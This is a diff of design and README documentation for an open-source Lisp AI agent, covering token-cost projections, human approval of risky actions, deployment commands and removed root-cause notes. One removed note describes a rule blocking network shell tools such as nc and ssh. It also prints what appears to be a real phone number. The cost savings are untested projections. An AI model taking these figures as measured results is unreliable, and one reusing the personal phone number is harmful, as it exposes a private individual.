+4. *Hot state* — in a REPL-based agent, variables, file handles, sub-routine results, and memory objects are already in memory. Every turn in a standard chat agent re-sends the full conversation history. Token costs in chat agents are quadratic: a 10-turn session pays for ~55 "turns" of context (10 + 9 + 8 + ... + 1 = 55). In Passepartout, context is stored once in the Lisp image. A 10-turn session pays for ~10 turns of context. This is an ~82% reduction on protocol overhead alone, before any foveal-peripheral pruning. This argument is testable: send the same multi-turn session through both architectures and count tokens.
+
+5. *Temporal filtering* — time-scoped memory queries (what happened today? what's due in the next hour?) return only nodes matching the time window. The temporal filter is a pure-Lisp hash-table walk with a numeric comparison on ~memory-object-version~. Sub-millisecond. 0 LLM tokens. Competitors without time-indexed memory must serialize all nodes and let the LLM scan for temporal relevance — 5,000–50,000 tokens per temporal query. This is the same principle as the foveal-peripheral model applied to the time dimension.
+
+** The Compounding Cost Curve — Unique Among Agents
+
+Every AI agent grows more expensive over time. Context histories accumulate. Safety instructions grow more elaborate. Guardrails become longer prompt paragraphs. The user's data grows. The only way to reduce cost in a standard agent is to cap context — sacrificing capability.
+
+Passepartout has a downward cost curve. Four mechanisms compound:
+
+1. *Dispatcher learning (v0.3.0).* Every blocked action and approved exception becomes a deterministic rule. A file write that initially triggered a full LLM proposal → Dispatcher review → HITL approval → rule extraction loop eventually becomes a deterministic rule check. Each hardened rule permanently removes a future LLM call.
+
+2. *Symbolic induction (v0.5.0).* The agent extracts patterns from successful interaction sequences and converts them into reusable Lisp functions. A multi-step task that took 5,000 tokens today takes 0 tokens tomorrow — it's now a ~defun~. The Dispatcher learns what to block. Symbolic induction learns what to automate.
+
+3. *Native embedding inference (v0.4.0).* Every semantic search query runs against in-image vectors at 0 external tokens. Competitors use LLM-assisted search for most retrieval operations. Passepartout's retrieval is a vector cosine similarity check — pure math, no model call.
+
+4. *Prefix caching (v0.4.0).* The static portion of the system prompt (IDENTITY, TOOLS, LOGS format) is transmitted once per session. Dynamic content (CONTEXT, user prompt) is sent on each call. Anthropic's prompt caching gives a 90% discount on cached tokens. OpenAI caches automatically.
+
+After 12 months of daily use, Passepartout's per-session costs are expected to be 40–60% of baseline, while competitors' costs rise to 125–140% of baseline. The crossover point is estimated at 3–6 months. This is not a model quality claim — it is a structural property of the architecture.
+
+** Time Awareness as a Structural Advantage
+:PROPERTIES:
+:ID:       design-time-awareness
+:CREATED:  [2026-05-07 Thu]
+:END:
+
+Passepartout's architecture provides three layers of time awareness, each enabled by infrastructure that competitors lack:
+
+*Level 1 — Present Awareness.* The LLM knows the current time, date, and session duration because a single ~format-time-for-llm~ call injects it into the system prompt. Most agents know the date from the OS. None know the time or session duration. The cost is ~8 incremental tokens per call (trivially prefix-cached). The saving is eliminating "I don't know the current time" preamble tokens, time-check tool calls, and incorrect temporal reasoning from a model guessing the time.
+
+*Level 2 — Temporal Memory.* Memory queries accept ~:since~ and ~:until~ parameters. "What did I work on in the last hour?" filters 500 nodes to 12 in sub-millisecond Lisp rather than serializing 500 nodes to the LLM at ~5,000 tokens for it to scan. Every memory node carries a ~memory-object-version~ timestamp (a monotonic ~get-universal-time~ value set at ingest since v0.1.0). The temporal filter is a hash-table walk with numeric comparison. 0 LLM tokens. >90% token reduction on time-scoped queries.
+
+*Level 3 — Proactive Triggers.* The heartbeat tick (existing infrastructure since v0.3.0) scans for approaching deadlines every 60 seconds. When a deadline is within the warning window (~DEADLINE_WARNING_MINUTES~, default 60), a temporal context note is injected into the awareness assembly. The LLM sees "3 deadlines today: Submit report (45min)" in its context without a triggering call. A "what should I work on today?" query is answered from pre-loaded context — 0 LLM tokens versus 1,500–4,000 for an unassisted agent.
+
+None of these three layers require new infrastructure. Time awareness is not a feature Passepartout builds — it is a feature Passepartout *unlocks* by having timestamped memory (v0.1.0), heartbeat+cron (v0.3.0), and the foveal-peripheral context pruning model (v0.2.0) already in place. Adding time awareness costs ~175 lines of Lisp. Building it in competitors would require building the heartbeat, the time-indexed memory, and the proactive context injection — 800+ lines each — and would still cost LLM tokens because their safety verification is prompt-based.
+
+The structural principle generalizes: Passepartout's infrastructure investments compound. Each new subsystem (Merkle memory, heartbeat, skill engine, embedding pipeline) lowers the cost of the next feature. Time awareness is the first demonstration of this compounding — three layers unlocked by infrastructure already built for other purposes.
+
+** Tiered Pricing: Cheap Models for Simple Tasks, Free for Learned Patterns
+
+The model-tier router (v0.3.0) classifies every task by complexity and routes it to the cheapest capable model. Simple lookups go to tiny local models or deterministic hash table scans (0 LLM tokens). Text processing goes to mid-tier models. Complex planning and code generation go to the premium model. The consensus loop (v0.10.0) only fires for high-impact actions.
+
+The induced functions from symbolic induction (v0.5.0) compound this: every learned pattern that becomes a Lisp function moves from "cheap" to "free." Over time, an increasing fraction of the agent's daily operations cost 0 LLM tokens.
+
+** Version-by-Version Cost Trajectory
+
+The following projections assume a coding session equivalent to ~20 files, 10 actions, and 3 errors, using the cheapest capable cloud provider. They are architectural estimates pending empirical audit at v0.5.0.
+
+| Version | Cost relative to Claude Code | Why |
+|---------+-----------------------------+-----|
+| v0.4.0 (with prefix caching) | 1.5–2x cheaper | Sparse retrieval + caching; no tools yet, tasks are simple |
+| v0.5.0 (with symbolic induction) | 1.5–2x cheaper, declining over time | Induced functions begin replacing LLM calls for repeated patterns |
+| v0.7.0 (with MCP tools) | 2–3x cheaper | More complex tasks, but caching + induction compound |
+| v1.0.0 (all pre-symbolic features) | 2–3x cheaper for coding, 10–40x for knowledge management | Full stack: sparse trees + caching + induction + native embeddings |
+| v3.0.0 (neurosymbolic) | 5–10x cheaper | 80% of reasoning in symbolic middle layer costs 0 LLM tokens |
+| v4.0.0 (native inference) | ~100% cheaper for local models | No API call. No per-token pricing. Electricity only. |
+
+Knowledge management is Passepartout's strongest domain. A 500-node knowledge base assembled for the LLM as 2,000–4,000 tokens (foveal-peripheral) versus 80,000–150,000 tokens (full serialization) is a 40–75x difference in context alone. Semantic search in-image at 0 tokens versus LLM-assisted search at 5,000+ tokens extends the gap. Note creation via deterministic Org writes at 0 tokens versus LLM-generated notes at 800+ tokens each widens it further. Background maintenance (archiving, link repair, compaction) runs on heartbeat-driven cron jobs at 0 LLM tokens.
+
+** Engineering Challenges and Solutions
+
+The architecture's advantages are genuine but unevenly distributed across task types. Three structural challenges have specific engineering solutions in the roadmap.
+
+*** Challenge: Situational Cost
+
+The sparse-tree and REPL advantages apply primarily to long-running, high-context tasks. A single-turn lookup ("what's on my calendar?") without a cost-conscious routing layer may consume comparable tokens to standard RAG. The architecture must prevent the agent from spending $5 of compute on a $0.01 question.
+
+*Solution:* The Resolution Budget (v0.5.0) is a lightweight pre-routing layer that classifies complexity before the Reason stage and assigns a cost envelope. Simple lookups take the fast path (deterministic, 0 LLM tokens, sub-second). Standard interactions use cached context and tiered models. Deep reasoning engages the full deliberative pipeline. The tier classifier (v0.8.1) adds safety-based routing: dangerous operations always take the full verification path regardless of cost. Together, cheap simple tasks take the cheap fast path; dangerous complex tasks take the expensive safe path.
+
+*** Challenge: Single-Turn Latency
+
+The Dispatcher gate stack, structured output enforcement, and verification loop add latency to every turn. Time-to-first-token is inherently higher than a raw chat agent that processes the first response directly. The goal is not to match raw chat-agent TTFT on every interaction — it is to make the verification overhead imperceptible for trivial tasks and worth the wait for complex ones.
+
+*Solution:* Three mechanisms compound. The Resolution Budget (v0.5.0) routes simple lookups through a fast path with minimal gate checks. Streaming responses (v0.6.3) hide latency by showing progressive output — the user sees the agent typing while verification runs. Interrupt-and-redirect (v0.6.3) lets the user kill a wrong response mid-generation and redirect the agent without waiting for a complete wrong answer. The self-configuring setup binary (v0.5.0) includes a tiny Syntax Scout model — a 1.5B parameter model fine-tuned on Common Lisp + Org-mode idioms that pre-validates Lisp forms before the Dispatcher, reducing rejection-loop cycles.
+
+*** Challenge: Symbolic Brittleness
+
+Deterministic gates reject code with minor syntax errors that a prompt-based guardrail would pass. A 99% correct Lisp form with one mismatched parenthesis is blocked entirely during the ~read-from-string~ stage or by the syntax validation gate. This is the correct safety posture — but without mitigation, the user experience is "the agent keeps failing to do simple things because of formatting errors."
+
+*Solution:* Three mechanisms compound. Structured Output Enforcement (v0.6.2) validates plist syntax before the Dispatcher, providing LLM feedback with the specific parse error. The Syntax Scout — the tiny model from the setup bootstrapper — pre-validates Lisp forms during the Reason stage and auto-corrects common patterns (parenthesis balance, keyword normalization). The self-correction loop (up to 3 retries with rejection trace feedback at the Reason stage) gives the LLM multiple attempts. Together, these mechanisms drop the failure rate from "every syntax error blocks" to "the LLM learns to produce valid Lisp after the first rejection, and the Syntax Scout catches the patterns that the LLM repeatedly misses."

+** Local LLM Viability
+
+Reduced context requirements change which model sizes deliver acceptable performance:
+

+|--------------------------+-----------------------------+----------------------|
+| Phi-3-mini 3.8B (4K ctx) | Viable for structured tasks | Context starvation   |
+| Llama 3.1 8B (8K ctx)    | Comfortable daily driver    | Marginal             |
+| Qwen 2.5 7B (4K ctx)     | Viable for most tasks       | Not viable           |
+| Mistral 7B (8K ctx)      | Comfortable                 | Marginal             |
+| Llama 3.1 70B (128K ctx) | Overkill (but works)        | Comfortable          |
+
+KV cache memory scales with context length:
+
+| Context Window | KV Cache (Llama 3.1 8B, FP16) |
+|----------------+-------------------------------|
+| 4K tokens      | ~67 MB                        |
+| 32K tokens     | ~540 MB                       |
+| 128K tokens    | ~2.1 GB                       |
+
+Passepartout at 4K effective context: ~67 MB KV cache. Competitor at 128K: ~2.1 GB. A 7-8B model on an RTX 3060 Ti (8 GB VRAM) or MacBook (16 GB unified memory) is a practical daily driver with Passepartout. Competitors at full context require 16-32 GB VRAM or cloud APIs.

+
+*Note:* Observations about OpenClaw and Hermes Agent are based on their public documentation and repositories as of 2026-05. OpenClaw (github.com/openclaw/openclaw) is a TypeScript personal AI assistant by @steipete with a Node.js gateway, 25+ messaging channels, and Canvas/voice companion apps. Hermes Agent (github.com/NousResearch/hermes-agent) is a Python fork by Nous Research with a built-in learning loop, full TUI, and sub-agent delegation. Both use prompt-based safety guardrails rather than deterministic gates. Architectural claims should be re-verified as these projects evolve.
+
+*Conclusion:* Passepartout's architecture has a structural downward cost curve — a property that no competitor claims. The Dispatcher learning curve, symbolic induction, native embedding inference, and prefix caching compound to reduce LLM dependency over time. The cost advantage is not a magnitude claim (which depends on usage patterns and model selection) but a directional claim (costs decline with use, competitors' costs rise). The 80% of computation that moves to the symbolic middle layer at v3.0.0 (zero LLM tokens) and the 100% local-inference capability at v4.0.0 (zero API cost) define the long-term ceiling: eventually, the only LLM cost is input translation and output formatting. Everything else is pure Lisp.
+
+The critical risk is implementation: achieving the retrieval precision, Dispatcher learning depth, REPL integration, and symbolic engine maturity required to realize the architecture's economic potential. The token audit harness at v0.5.0 will provide the first empirical measurements.
+
+*Note:* The token savings projections in this section (2–3x for coding, 13–24x for knowledge management) are architectural estimates based on the sparse-tree retrieval and deterministic safety mechanisms. They have not yet been empirically verified. A token audit harness will produce measured comparisons at v0.5.0 (Token Economics & Prompt Efficiency). Until then, the README cites the mechanisms (sparse-tree rendering, deterministic gates) rather than specific magnitudes.
+* Open Questions and Risks
+
+1. *Retrieval accuracy is the bottleneck.* If sparse tree retrieval loads the wrong subtree (low-similarity but causally relevant), the LLM makes unfixable errors. The architecture assumes embedding quality is "good enough" — this is untested at scale.
+
+2. *System prompt overhead can consume savings.* Every =think= cycle builds the full system prompt from IDENTITY + TOOLS + CONTEXT + LOGS. With the foveal-peripheral context model growing over time and the tool belt expanding with skills, the fixed overhead is non-trivial. However, it is driven by context and tool descriptions, not by the ~*standing-mandates*~ list (which contributes ~40 tokens when a single mandate fires, and 0 otherwise). Prefix caching (v0.5.0) is the primary mitigation for this overhead.
+
+3. *Model size vs context quality.* A 3.8B model with perfect context cannot match a 70B model on complex multi-file refactors regardless of context quality. Model size independently determines reasoning depth. The minimum viable model is likely 7-13B parameters for engineering work.
+
+4. *The 3-retry dispatcher loop.* When the dispatcher rejects a proposal, the rejection trace feeds back to the LLM for self-correction (up to 3 retries). If the dispatcher rejects 30% of proposals, the effective token multiplier is 1.39x per action. At 50% rejection (plausible during early use), it is 1.75x. This penalty decreases as the dispatcher accumulates rules.
+
+5. *Competitor evolution.* Sparse retrieval is not patentable. Claude Code, Copilot, and others will implement similar mechanisms. The architectural advantage is real but finite in duration. The deterministic safety gate is the harder-to-replicate differentiator.
+
+6. *The self-repair criterion.* "What belongs in core?" is decided by a single test: if this file is corrupted, can the agent fix it without human help? Corrupted core = dead brain, dead hands, or unreachable. Corrupted skill = degraded but self-repairable. If the agent has tools, identity, and user input, it can reason about missing awareness, edit the corrupted source file, reload the skill, and continue. If it loses its own reasoning loop, it has no way to self-diagnose. This is why context assembly and heartbeat generation were extracted to skills in v0.5.0 — the agent can detect their absence and reload them. The core contracts to the absolute minimum needed for self-repair: the pipeline, the memory, the transport, and the skill loader.
+
+7. *Why no subagents?* Claude Code, OpenCode, OpenClaw, and Hermes all implement multi-agent delegation (parent spawns child with separate context, tools execute, child reports back). Passepartout rejects this on principle. There are five reasons:
+
+   *Zero coordination overhead.* Subagents spend tokens on delegation protocols — prompt templates for spawning, agent-summary messages for progress reporting, sidechain transcripts for integration. Passepartout's single-brain model pays zero tokens for inter-agent communication.
+
+   *Causal traceability.* Every decision traces through a single Merkle chain, a single gate stack, a single memory space. With subagents, if a delegated agent makes a bad decision, the parent agent may never see the full reasoning — the subagent's internal context is opaque.
+
+   *Memory coherence.* Subagents require either duplicated context (wasteful) or context partitioning (lossy). Passepartout's foveal-peripheral model sees everything relevant in a single memory space — there is no context to split.
+
+   *The arXiv paper (2604.14228v1) validates this.* Section 11.3 notes that subagent isolation is a genuine trade-off: "Isolated subagent boundaries" vs unified memory coherence. The paper treats both as legitimate architectural choices.
+
+   *When would subagents be warranted?* If Passepartout ever needs to execute background tasks that don't share the main agent's context (e.g., nightly cron jobs, cross-project analysis), the architecture can add isolated agents as a skill — not as a core mechanism. The single-brain model is the default, not the only option.

-* Interacting with OpenCortex
+* Interacting with Passepartout
 Because of the Unified Envelope Architecture, the kernel treats all clients as interchangeable. You must first boot the background daemon:
 
 #+begin_src bash
-./opencortex.sh --boot &
+./passepartout --boot &
 #+end_src
 
 ** Terminal User Interface (TUI)
 For a rich, split-pane terminal experience:
 #+begin_src bash
-./opencortex.sh tui
+./passepartout tui
 #+end_src
 
 ** Command Line Interface (CLI)
 For raw, pipe-friendly interaction:
 #+begin_src bash
-./opencortex.sh cli
+./passepartout cli
 #+end_src
 
-** Emacs Integration
-OpenCortex functions as your "foveal vision" inside Emacs.
-1. Ensure `org-agent.el` is loaded.
-2. Run `M-x opencortex-connect`.
-3. Interact via the `*opencortex-chat*` buffer.
+** TUI Commands
+
+When connected via the TUI, the following commands are available (type them in the input area and press Enter):
+
+| Command               | Action                                                 |
+|-----------------------+--------------------------------------------------------|
+| ~/help~               | List all available commands                             |
+| ~/focus <project>~    | Set the agent's foveal focus to a project by name      |
+| ~/scope memex~        | Set scope to full memex (all projects visible)         |
+| ~/scope session~      | Set scope to current session only                       |
+| ~/scope project~      | Set scope to focused project only                       |
+| ~/unfocus~            | Clear the foveal focus                                  |
+| ~/approve HITL-xxxx~  | Approve a pending HITL action by its token              |
+| ~/deny HITL-xxxx~     | Deny a pending HITL action by its token                 |
+| ~/theme <name>~       | Switch theme (dark, light, solarized, gruvbox)         |
+| ~/cost~               | Toggle session cost display in status bar               |
+| ~/voice on~           | Enable voice capture (planned v0.7.3)                  |
+| ~/voice off~          | Disable voice capture                                   |
+| ~/quit~               | Save history and exit (planned v0.3.3)                 |
+
+For multi-line input, start the line with ~\~ then press Enter to insert a newline without sending.
+
+** Human-in-the-Loop Approval
+
+When the Dispatcher blocks a high-risk action (shell command, network call, core file modification), it creates a Flight Plan requiring your approval.
+
+1. The TUI displays a yellow message: ~→ HITL required: /approve HITL-ab12~
+2. Review the proposed action in the Dispatcher trace (expand with Tab)
+3. Type ~/approve HITL-ab12~ to approve, or ~/deny HITL-ab12~ to deny
+4. Approved actions are re-injected into the pipeline and executed
+5. Denied actions are discarded and the Dispatcher records the decision as a permanent rule
+
+Each approval or denial teaches the Dispatcher — the rule counter in the status bar (~[Rules: 47]~) increments with every decision.
 
 * The Memex Structure
-OpenCortex assumes a local folder structure representing your "Memex".
+Passepartout assumes a local folder structure representing your "Memex".
 - Core memories and identities are mapped to Org-mode files.
 - The `Scribe` background worker distills chronological logs into structured Zettelkasten notes.

+- The `Gardener` continuously repairs broken links and flags orphaned nodes.
+
+* Deployment
+
+** Bare metal (Debian / Fedora)
+
+The ~configure~ command supports both Debian-based (Ubuntu, Pop, Mint) and Fedora-based (RHEL, Rocky) distributions. It detects your distro automatically and installs the correct packages.
+
+#+begin_src bash
+./passepartout configure              # interactive
+./passepartout configure --non-interactive  # headless
+./passepartout configure --with-firewall    # also open port 9105
+#+end_src
+
+After configuration, you can re-run ~configure~ any time to add providers or link gateways.
+
+** Binary install (save-lisp-and-die)
+
+For platforms where SBCL cannot be installed (corporate laptops, shared hosts, constrained environments), a self-contained binary is provided:
+
+#+begin_src bash
+curl -fsSL https://github.com/amrgharbeia/passepartout/releases/latest/download/passepartout -o passepartout
+chmod +x passepartout
+./passepartout daemon
+#+end_src
+
+This binary bundles SBCL, all required Lisp code, native embedding inference, and a Swank server on port 4005. The experience is identical to a source install — the REPL is available, skills hot-reload, and the image is mutable. Memory survives snapshots.
+
+The binary is a convenience for constrained platforms. It is not a sealed container. The system remains constitutionally open — connect with SLIME, trace functions, inspect memory objects, modify the system while it runs.
+
+** systemd service (auto-start on boot)
+
+#+begin_src bash
+./passepartout install service
+#+end_src
+
+Installs a user-level systemd unit that starts the daemon on login. Logs are available via ~journalctl --user -u passepartout.service -f~.
+
+To remove:
+
+#+begin_src bash
+./passepartout uninstall service
+#+end_src
+
+** Docker
+
+A Debian-based Docker image is provided for containerized deployment.
+
+#+begin_src bash
+cd infrastructure/docker
+docker-compose up -d
+#+end_src
+
+This builds an image from ~debian:trixie-slim~ with all dependencies pre-installed. The memex directory is mounted from the host.
+
+** Backup
+
+#+begin_src bash
+./passepartout backup ~/my-backup.tar.gz
+#+end_src
+
+Backs up the config, data, and memex directories.
+
+** Restore
+
+#+begin_src bash
+./passepartout restore ~/my-backup.tar.gz
+#+end_src
+
+Restores from a backup file. Run ~passepartout doctor~ afterward to verify integrity.
+
+* Troubleshooting
+
+** The daemon won't start
+- Check SBCL is installed: ~which sbcl~
+- Run ~passepartout doctor~ to diagnose
+- Check port 9105 is free: ~lsof -i :9105~
+- Check the log output for errors
+
+** The TUI connects but shows "Disconnected"
+- The daemon may have crashed. Run ~passepartout daemon~ in another terminal
+- If the daemon is running, check it's listening: ~lsof -i :9105~
+- Use ~/reconnect~ (planned v0.6.0) to reconnect without restarting the TUI
+
+** The LLM returns garbage or fails to respond
+- Run ~passepartout doctor~ to verify your LLM provider keys
+- Check ~PROVIDER_CASCADE~ in your ~.env~ file
+- Try switching models: edit ~.env~ and restart the daemon
+- If using local models via Ollama, verify Ollama is running: ~ollama list~
+
+** Memory fails to load on startup
+- Check ~/memory.snap~ exists and is valid S-expression format
+- Run ~passepartout doctor~ to diagnose memory integrity
+- If corrupted, delete ~/memory.snap~ and restart — the daemon starts with empty memory

-#+TITLE: Root Cause Analysis: Micro-Loader & Deterministic Boot Sequence
-#+DATE: 2026-04-11
-#+FILETAGS: :rca:boot:loader:topological-sort:autonomy:
-
-* Executive Summary
-Refactored the arbitrary skill loading mechanism into a robust **Micro-Loader**. The system now calculates a deterministic boot sequence based on `#+DEPENDS_ON:` tags and protects the harness from malformed or hanging skills via package-based jailing and execution timeouts.
-
-* 1. Issue: Fragile Load Order
-** Symptoms
-Skills that depended on functions or variables from other skills would randomly fail to load depending on the filesystem's directory traversal order.
-** Root Cause
-`initialize-all-skills` used a simple `dolist` over `uiop:directory-files`, which has no semantic awareness of inter-skill dependencies.
-** Resolution
-1. **Metadata Scanning:** Implemented `parse-skill-metadata` to extract `:ID:` and `#+DEPENDS_ON:` without executing code.
-2. **Topological Sort:** Implemented a DFS-based `topological-sort-skills` to guarantee that prerequisites are loaded before their dependents.
-3. **Circular Detection:** Added explicit detection and error reporting for circular dependency loops.
-
-* 2. Issue: Shared State Corruption (Brain Rot)
-** Symptoms
-Variables or functions with the same name in different skills would silently overwrite each other, causing unpredictable behavior.
-** Root Cause
-All skills were being evaluated directly into the `opencortex` package.
-** Resolution
-**Package-Based Jailing:** Each skill is now evaluated within its own dedicated, shadowed package (e.g., `OPENCORTEX.SKILLS.ORG-SKILL-CHAT`). This ensures logical isolation while still allowing access to kernel exports.
-
-* 3. Issue: Boot Stall (The Hanging Skill)
-** Symptoms
-A single skill with an infinite loop or heavy synchronous initialization could hang the entire agent during startup.
-** Root Cause
-Skill loading was strictly synchronous and blocking on the main thread.
-** Resolution
-**Execution Timeouts:** Implemented `load-skill-with-timeout`, which wraps the loader in a monitored thread. If a skill takes longer than 5 seconds to initialize, the loader terminates the thread, jails the failure, and continues with the rest of the boot sequence.
-
-* 4. opencortex Mandate Alignment
-** Evolutionary Kernel
-The boot sequence is now a verifiable, mathematical process rather than a side-effect of filesystem organization.
-** Literate Granularity
-The `org-skill-skills.org` source was refactored into a strictly granular "one definition per block" format.
-
-* 5. Permanent Learnings
-- **Reverse Topological Order:** Remember that a DFS-based sort with `push` needs an `nreverse` to place dependencies at the front of the list.
-- **Path Portability:** Use `uiop:getcwd` instead of `pwd` for more reliable path resolution across different Lisp implementations and OSes.

-#+FILETAGS: :rca:bouncer:authorization:autonomy:security:
-
-* Executive Summary
-Implemented the "Planning Mode" Bouncer to intercept high-risk Probabilistic Engine proposals (e.g., shell commands, Lisp evaluation). The system now forces these actions into an asynchronous "Flight Plan" Org node for manual Autonomous approval, fulfilling the "everything is a node" and high-integrity mandates.
-
-* 1. Issue: Automated High-Risk Execution
-** Symptoms
-Probabilistic Engine proposals involving `shell` or `eval` were executed immediately upon passing the `decide` gate's safety harness. This lacked human-in-the-loop oversight for irreversible or complex operations.
-** Root Cause
-Architecture gap. The system lacked an authorization state between "Safe" and "Executed".
-** Resolution
-1. **Interceptor:** Added `bouncer-check` to `deterministic.lisp`. It flags high-risk actions that lack the `:approved t` property.
-2. **Asynchronous Event:** If flagged, the harness emits an `:approval-required` event.
-3. **Flight Plan Skill:** Created `org-skill-bouncer.org` to:
-   - Catch the event and create a serialized Org node with state `PLAN`.
-   - Monitor the Memory for `APPROVED` states.
-   - Re-inject approved actions with the `:approved t` bypass flag.
-
-* 2. Design Decision: Org-native Approval
-** Requirement
-Align with "Homoiconic Memory" and "Lisp Machine Autonomousty".
-** Selected Path
-State-Based Approval (Org-native).
-- *Pros:* Auditable, asynchronous, utilizes existing Org-mode workflows.
-- *Cons:* Slightly more latency than an interactive prompt.
-** Alignment
-Ensures that the agent's "Flight Plans" are first-class citizens in the Memex, allowing the Autonomous to review and approve them using standard GTD tools.
-
-* 3. Permanent Learnings
-- **Serial Bypass:** Always include a specific bypass flag (e.g., `:approved t`) when re-injecting intercepted actions to prevent infinite interception loops.
-- **Heartbeat Listeners:** Periodic scanning of the Memory for state transitions is an effective way to implement asynchronous authorization gates without blocking the harness.

-** Issue
-The initial draft suggested using `Z3`, an external SMT solver. However, `Z3` was not available in the environment and would add significant complexity/bloat to the Docker image.

-2. Updated all source code and literate notes to use the `str:` prefix.
-3. Verified via explicit `ql:quickload` in the test runner.
-
-* 3. Formal Invariants Implemented
-- **Path Confinement:** Deterministically proves that any file operation or absolute path in a shell command is strictly within the `/home/user/memex` root.
-- **No Network Exfiltration:** Prevents the shell from invoking common exfiltration tools (`nc`, `ssh`, etc.) by inspecting the parsed command structure.
-
-* 4. opencortex Mandate Alignment
-** Soundness over Heuristics
-By moving to formal invariants, we have moved from "blacklisting bad things" to "proving safety." Any action that cannot be proven to satisfy all invariants is denied by default.
-** Literate Granularity
-The `org-skill-formal-verification.org` file follows the "one definition per block" mandate, ensuring that the logic of each invariant is individually documented and verifiable.
-
-* 5. Permanent Learnings
-- **Tooling Independence:** Whenever possible, prefer native Lisp logic over external binaries for core security gates to reduce the attack surface and deployment complexity.
-- **Environment Consistency:** Always use `(setf (uiop:getenv ...) ...)` for portable environment manipulation in tests.

-#+TITLE: Root Cause Analysis: Matrix Gateway & Communication Track Completion
-#+DATE: 2026-04-11
-#+FILETAGS: :rca:gateway:matrix:chat:autonomy:
-
-* Executive Summary
-Successfully implemented the third and final external communication channel (Matrix) for OpenCortex v1.0. Resolved integration issues related to case-sensitivity in JSON keys and strict header requirements in `dexador`.
-
-* 1. Issue: Symbol Casing in JSON Keys
-** Symptoms
-The `TEST-MATRIX-INBOUND-NORMALIZATION` test failed because `room-id` was being extracted as `"!ROOM:HS.ORG"` (uppercase) instead of `"!room:hs.org"`.
-** Root Cause
-Common Lisp's default reader converts symbol names to uppercase. When `(string car-of-alist)` was called on a symbol generated by `cl-json`, it produced an uppercase string.
-** Resolution
-Updated the implementation to use `(string-downcase (string ...))` for room IDs and other case-sensitive Matrix identifiers.
-
-* 2. Issue: Since Token Extraction Failure
-** Symptoms
-The sync loop failed to update the `*matrix-since-token*`, causing duplicate message processing risk.
-** Root Cause
-Anticipating `:next-batch` but receiving `:next--batch` (or vice versa) due to inconsistent `cl-json` behavior across different environments or structures.
-** Resolution
-Implemented a robust `(or (cdr (assoc :next-batch json)) (cdr (assoc :next--batch json)))` lookup to handle both hyphenation styles.
-
-* 3. Issue: Type Error in Authorization Headers
-** Symptoms
-`dex:put` crashed with a `TYPE-ERROR`.
-** Root Cause
-I was passing a single string or an incorrectly nested list where `dexador` expected a strict alist of header pairs `(("Key" . "Value") ...)`.
-** Resolution
-Standardized all gateway HTTP calls to use proper alist nesting for headers.
-
-* 4. Completion: Communication Track
-With Telegram, Signal, and Matrix gateways now verified and passing tests, the OpenCortex has achieved full multi-channel parity.
-- **Telegram:** Polling via Bot API.
-- **Signal:** Wrapping `signal-cli`.
-- **Matrix:** Polling via `/sync` Client API.
-
-* 5. Permanent Learnings
-- **Case Sensitivity:** Matrix IDs (rooms, users) are case-sensitive; Lisp symbols are not. Always force downcasing or use strings for storage.
-- **Header Alists:** Always use dotted pairs `("Key" . "Value")` for `dexador` headers.

-
-* Executive Summary
-Successfully implemented the second external communication channel (Signal) using `signal-cli`. Further hardened the multi-channel chat logic and resolved JSON mapping discrepancies between Common Lisp and external CLI outputs.
-
-* 1. Issue: JSON Key Mapping Mismatch
-** Symptoms
-The `TEST-SIGNAL-INBOUND-NORMALIZATION` test failed despite the mock JSON appearing correct.
-** Root Cause
-`cl-json` default behavior for decoding. It converts camelCase keys from JSON (e.g., `dataMessage`) into kebab-case keywords in Lisp (e.g., `:DATA-MESSAGE`). I had incorrectly anticipated `:DATA--MESSAGE` or `:DATA_MESSAGE`.
-** Resolution
-1. **Diagnostic:** Added debug output to the test suite to inspect the exact plist structure returned by `cl-json`.
-2. **Correction:** Updated both the implementation and the literate note to use the correct `:DATA-MESSAGE` and `:SOURCE` keywords.
-
-* 2. Implementation: Signal-CLI Wrapper
-** Strategy
-Unlike Telegram's HTTP API, Signal requires a local binary (`signal-cli`). 
-- **Sensor:** Uses `uiop:run-program` with `receive --json` in a polling loop (5s interval).
-- **Actuator:** Uses `uiop:run-program` with `send -m <text> <recipient>`.
-** Security
-The system uses the pre-configured Signal account `+13322690326` discovered in the user's memex.
-
-* 3. Alignment with opencortex Mandates
-** Literate Granularity
-Strictly adhered to the "one definition per block" mandate throughout the new `org-skill-gateway-signal.org` file.
-** Verification
-The `gateway-signal-suite` (10 checks) provides full coverage for inbound parsing and outbound command generation.
-
-* 4. Permanent Learnings
-- **JSON Semantics:** Always verify the specific keyword transformation rules of the JSON library when dealing with external CLI outputs.
-- **Process Robustness:** `uiop:run-program` is the reliable standard for CLI-based gateways in SBCL.

-#+DATE: 2026-04-11
-#+FILETAGS: :rca:gateway:telegram:chat:autonomy:
-
-* Executive Summary
-Successfully implemented the first external communication channel (Telegram) and decoupled the Chat Agent from its Emacs-centric roots. Resolved significant load-order and dependency issues identified during integration.
-
-* 1. Issue: Undefined Foundational Functions
-** Symptoms
-During compilation, `gateway-telegram.lisp` failed with `UNDEFINED-FUNCTION` for `register-actuator` and `harness-log`.
-** Root Cause
-Poorly scoped foundational functions. These were defined in `core.lisp` (the loop orchestrator), which was loaded *after* the gateways in `opencortex.asd`. This created a "Circular Intention" where the gateways needed the harness to exist before the harness could load the gateways.
-** Resolution
-1. **Relocation:** Moved `*actuator-registry*` and `register-actuator` to `communication.lisp` (the foundation).
-2. **Reordering:** Adjusted `opencortex.asd` to load `core.lisp` (containing the stimulus loop) immediately after the deterministic gates but before the physical sensors (gateways).
-
-* 2. Issue: Hardcoded Chat UI
-** Symptoms
-The `Chat Agent` could only respond via Emacs buffer insertion, rendering it useless for external channels like Telegram.
-** Root Cause
-Architectural myopia. The original chat skill assumed the user was always in front of Emacs.
-** Resolution
-Refactored `org-skill-chat` to be **Channel-Aware**:
-- It now extracts `:channel` and `:chat-id` from the inbound stimulus.
-- It dynamically generates the Probabilistic Engine mandate, instructing the LLM to use the appropriate `:target` (e.g., `:telegram`) based on the conversation context.
-
-* 3. Side-Issue: UIOP Portability
-** Symptoms
-Tests failed with `Symbol "SETENV" not found in the UIOP/DRIVER package`.
-** Root Cause
-Misinterpretation of the `UIOP` API. `setenv` is not a standard export; the portable way is using `(setf (uiop:getenv ...) ...)`.
-** Resolution
-Updated all test environment setup to use the `setf` accessor.
-
-* 4. opencortex Mandate Alignment
-** Autonomous Boundary
-By moving the Telegram API logic to a user-space skill and communicating with the core via standard stimuli, we have respected the microkernel boundary.
-** Homoiconic Memory
-All Telegram interactions are now logged as `:chat-message` events, ensuring the agent's history is unified regardless of the platform.
-
-* 5. Permanent Learnings
